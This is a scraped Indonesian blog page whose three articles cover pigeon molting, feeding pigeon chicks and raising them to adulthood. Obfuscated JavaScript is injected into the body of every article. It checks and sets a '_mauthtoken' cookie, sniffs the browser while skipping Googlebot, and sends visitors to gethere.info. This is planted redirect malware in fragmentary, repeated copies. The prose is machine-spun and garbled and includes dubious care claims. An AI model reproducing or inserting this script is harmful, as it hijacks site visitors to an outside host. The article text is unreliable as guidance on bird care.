IBX5980432E7F390 Perawatan Merpati Mabung Ganti Bulu Kupas Triknya - Kicauan Burung Lovebird Ngekek

Perawatan Merpati Mabung Ganti Bulu Kupas Triknya

Perawatan Merpati Mabung Ganti Bulu

Perawatan merpati mabung ganti bulu – Setiap burung niscaya pernah mengalami hal yang satu ini. Ya, tahap ganti bulu. Apa itu tahap ganti bulu yang terjadi pada burung? Tahap ganti bulu ialah tahap dimana burung akan mengalami pergantian bulu yang sudah lama menjadi bulu yang baru.

Burung merpati juga akan mengalami tahap ini, tak terkecuali pada merpati pos. Kapan pertama kali burung merpati akan berganti bulunya?

Pertama kali merpati mengalami ganti bulu ialah pada dikala merpati baru keluar dari asuhan indukannya. Pada saat itulah burung akan mencicipi ganti bulu.Perawatan Merpati Mabung Ganti Bulu

Pada dunia burung, istilah ganti bulu disebut dengan mabung. Mabung biasanya terjadi selama satu tahun sekali saja. Tidak pernah sejarah mencatatkan ada burung yang mabung satu tahun dua kali atau tiga kali.

Pada saat burung sedang mabung, hendaknya kita harus mengetahui ciri-ciri bahwa burung tersebut sedang mengalami mabung. Ingatlah, kita harus melihat burung secara lebih mendetail.

Apalagi pada saat burung keluar dari asuhan indukannya. Penglihatan kita jgua harus elbih teliti lagi dari yang biasanya. Mengetahui bahwa burung tersebut mabung itu mempunyai tujuan.

Apa tiu tujuannya? Tujuannya ialah agar kita bisa mengurangi rasa sakit akhir dari pergantian bulu tersebut. Terlebih lagi jikalau burung tersebut gres pertama kalinya mengalami ganti bulu ini.

Ciri-ciri yang pertama kalau burung tersebut sedang ganti bulu yaitu burung akan cenderung diam (tidak kasar) di dalam sangkar.

Mengapa burung yang sedang mabung tidak lebih cenderung lebih bergairah? Sebab, burung yang sedang mengalami ganti bulu merasakan sakitnya bulu yang tercabut sendiri dari tubuhnya.

Ciri-ciri yang kedua burung sedang mengalami mabung yaitu burung tersebut akan susah untuk makan. Akibat dari menahan rasa sakitnya itulah burung menjadi malas sekali makan.

Jika dibiarkan lama-kelamaan burung yagn sedang ganti bulu bisa saja mati lantaran tidak makan. Untuk itulah, kita harus memberikan pakan yang bisa menciptakan merpati jadi cepat ganti bulunya.

Pakan yang mampu diberikan kepada burung yang sedang mengalami ganti bulu yaitu pakan yang mengadung protein yang tinggi. Sebab, protein yang tinggi dapat mempercepat tumbuhnya kembali bulu-bulu yang telah rontok.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)sk\-0)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Merawat Ganti Bulu Mabung pada Burung Merpati
  • Merawat Dan Melatih Anakan Merpati
  • Pakan kusus Untuk Anakan Merpati Pos
  • Kontruksi Kandang Burung Merpati Pos
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Ciri Burung Merpati Hias Dan Cara Perawatan
  • Merpati Pos Dan Asal-usulnya
  • Sistem Lomba Merpati Duda
  • Cara Beternak Burung Merpati Kusus Pemula
  • Pakan Spesial Untuk Burung Merpati Pos

Pakan kusus Untuk Anakan Merpati Pos

Pakan kusus untuk anakan merpati pos – Anakan merpati memiliki badan yang rentan terkena penyakit. Untuk itu, anakan merpati memerlukan zat gizi yang mampu memenuhi kebutuhan badannya. Jika kebutuhan akan zat gizi tidak terpenuhi, maka mampu saja anakan merpati akan sakit.

Sebagai seorang penangkar yang baik, hendaknya kita tahu apa saja yang dibutuhkan oleh merpati. Termasuk kebutuhan akan zat gizi ini.

Bagaimana cara memenuhi zat gizi yang diperlukan oleh anakan merpati? Caranya adalah dengan menyampaikan pakan kepada anakan merpati yang memiliki kandungan gizi.Pakan kusus Untuk Anakan Merpati Pos

Pada saat anakan merpati baru menetas, induknya lah yang akan menyampaikan pakan terlebih dahulu. Kaprikornus, penangkar tidak perlu menyampaikan pakan lagi kepada anakan merpati.

Memang kita tidak perlu memberikan pakan kepada anakan merpati. Tetapi, kita perlu menyampaikan pakan kepada indukannya. Mengapa begitu?

Karena pakan yang diberikan indukan kepada anaknya itu berasal dari dalam badannya. Indukan merpati akan memproduksi cairan susu di dalam temboloknya. Dari kulinerlah indukan bisa memproduksi cairan susu tersebut.

Namun, pemberian pakan kepada indukan tidaklah sama ketika indukan belum memproduksi cairan itu. Pemberian akan harus ditingkatkan lagi, yaitu sekitar empat kali lipat dari semula. Dengan begitu, indukan bisa menghasilkan cairan susu yang maksimal dan diberikan kepada anakan merpati.

Setelah umur anakan sekitar 12 hari, anakan bisa mulai diberikan pakan seperti biji-bijian. Biji-bijian tersebut sebaiknya dihaluskan terlebih dahulu, lantaran anakan burung tidak mampu menelan biji-bijian yang masih keras itu.

Periksalah terlebih dahulu pakan yang mau diberikan kepada anakan merpati. Siapa tahu saja di dalam makanan tersebut terdapat kuman yang mampu menciptakan anakan merpati sakit.

Apalagi anakan merpati rentan sekali terkena penyakit. Jika anakan merpati sudadh merasa muak dengan pakan yang diberikan padanya setiap hari, kita bisa menggantinya dengan sayur-sayuran.

Ingatlah, sebelum memberikan sayuran harus dicuci terlebih dahulu. Cucinya pun harus memakai air bersih. Kalau bisa menggunakan air yang telah dimasak terlebih dahulu.

Pakan yang kotor akan menciptakan anakan menjadi sakit. Terlebih lagi sayuran yang biasanya mengandung kuman-bakteri yang dapat mematikan bagi siapa saja yang memakannya.

Sayuran juga baik untuk kesehatan anakan merpati. Terlebih lagi untuk kesehatan pencernaannya. Pencernaannya akan lancar kalau anakan merpati memakan sayur-sayuran yang baik.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)n20[2-3])(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Perawatan Merpati Mabung Ganti Bulu
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Cara Beternak Burung Merpati Kusus Pemula
  • Ciri Burung Merpati Hias Dan Tutorial Perawatan
  • Merpati Pos Dan Asal-usulnya
  • Merawat Dan Melatih Anakan Merpati
  • Jenis Merpati Pos Paling Populer Mahal
  • Kontruksi Kandang Burung Merpati Pos
  • Pakan Spesial Untuk Burung Merpati Pos
  • Memilih Bibit Anakan Merpati Pos Berkualitas

Cara Merawat Anakan Merpati Sampai Dewasa

Cara merawat anakan merpati sampai cukup umur – Setelah merpati pos tamat melaksanakan tahap perkawinan, selanjutnya merpati pos akan mengalami beberapa tahap. Tahap-tahap tersebut mau tidak mau harus dilewati oleh merpati. Apa-apa saja tahap yang harus dilewati oleh merpati pos? Untuk mengetahuinya, mari kita simak penjelasandi bawah ini.

Tahap Peneluran Induk merpati

Sekitar 10 hari sehabis final tahap perkawinan, burung akan mengalami tahap peneluran. Proses peneluran biasanya dilakukan di kotak sarang yang telah disediakan oleh penangkar di dalam sangkar. Jika tidak ada kotak sarang, burung tidak mampu bertelur lantaran dia belum menemui sarangnya untuk beliau bertelur.Cara Merawat Anakan Merpati Sampai Dewasa

Untuk itulah, penting sekali bagi ktia untuk mengembangkan kotak sarang untuk burung merpati, supaya merpati-merpati kita bisa bertelur disana.

Biasanya, telur yang pertama kali keluar itu kemungkinan besar menjadi anakan merpati. Akan tetapi, telur yang menetas dikemudiannya kemungkinan kecil akan menetas.

Namun, lihatlah terlebih dahulu isi dalam telurnya. Jika dalam telur terlihat ada embrionya berarti telur tersebut ada isinya. Dan kemungkinan besar akan menjadi anakan.

Sebaliknya, jikalau di dalam telur tidak tampak embrionya berarti kemungkinan kecil telur menetas menjadi anakan. Bagaimana cara melihar embrio yang terdapat di dalam telur? Caranya sangat simpel.

Cukup dengan menyediakan alat penerang saja. Perhatikan telur tersebut dengan memakai alat penerang tersebut di dalam ruangan yang tidak ada cahaya lampunya.

Tahap Pengeraman Anak Merpati

Setelah tahap peneluran selesai, kemudian indukan akan menerima anakannya. Setelah itu, indukan akan mengerami anaknya hingga beberapa hari.

Apa tujuan pengeraman anak setelah akhir menetas? Karena, jika tidak dierami anakan bisa akan mati. Sebab, di luar cangkang telur, anakan akan merasa kedinginan. Dan kalau dierami, anakan akan merasa tetap di dalam telur yang hangat.

Indukan yang baik akan mengerami anakannya hingga benar-benar anakannya sudah remaja. Sebelum anaknya berdikari, induk tersebut akan melolohnya layaknya seakan-akan penangkar yang sedang meloloh burungnya.

Burung merpati jgua menyusui anaknya sama seakan-akan insan. Akan tetapi, bedadnya yaitu burung menyusuinya melalui temboloknya. Tembolok merpati yang sedang mempunyai anak biasanya dipenuhi dengan suatu cairan. Dan cairan tersebutlah yang dinaman susu.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Cara Merawat Anakan Burung Merpati
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Merpati Pos Dan Asal-usulnya
  • Teknik Menjodohkan Merpati Secara Cepat
  • Cara Beternak Burung Merpati Kusus Pemula
  • Cara Mengawinkan Merpati yang Baik
  • Jenis Merpati Pos Paling Populer Mahal
  • Pakan kusus Untuk Anakan Merpati Pos
  • Perawatan Merpati Mabung Ganti Bulu
  • Menjaga Kesehatan Burung Merpati Harian
  • Cara Mengawinkan Induk Merpati Liar

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Perawatan Merpati Mabung Ganti Bulu Kupas Triknya"

Posting Komentar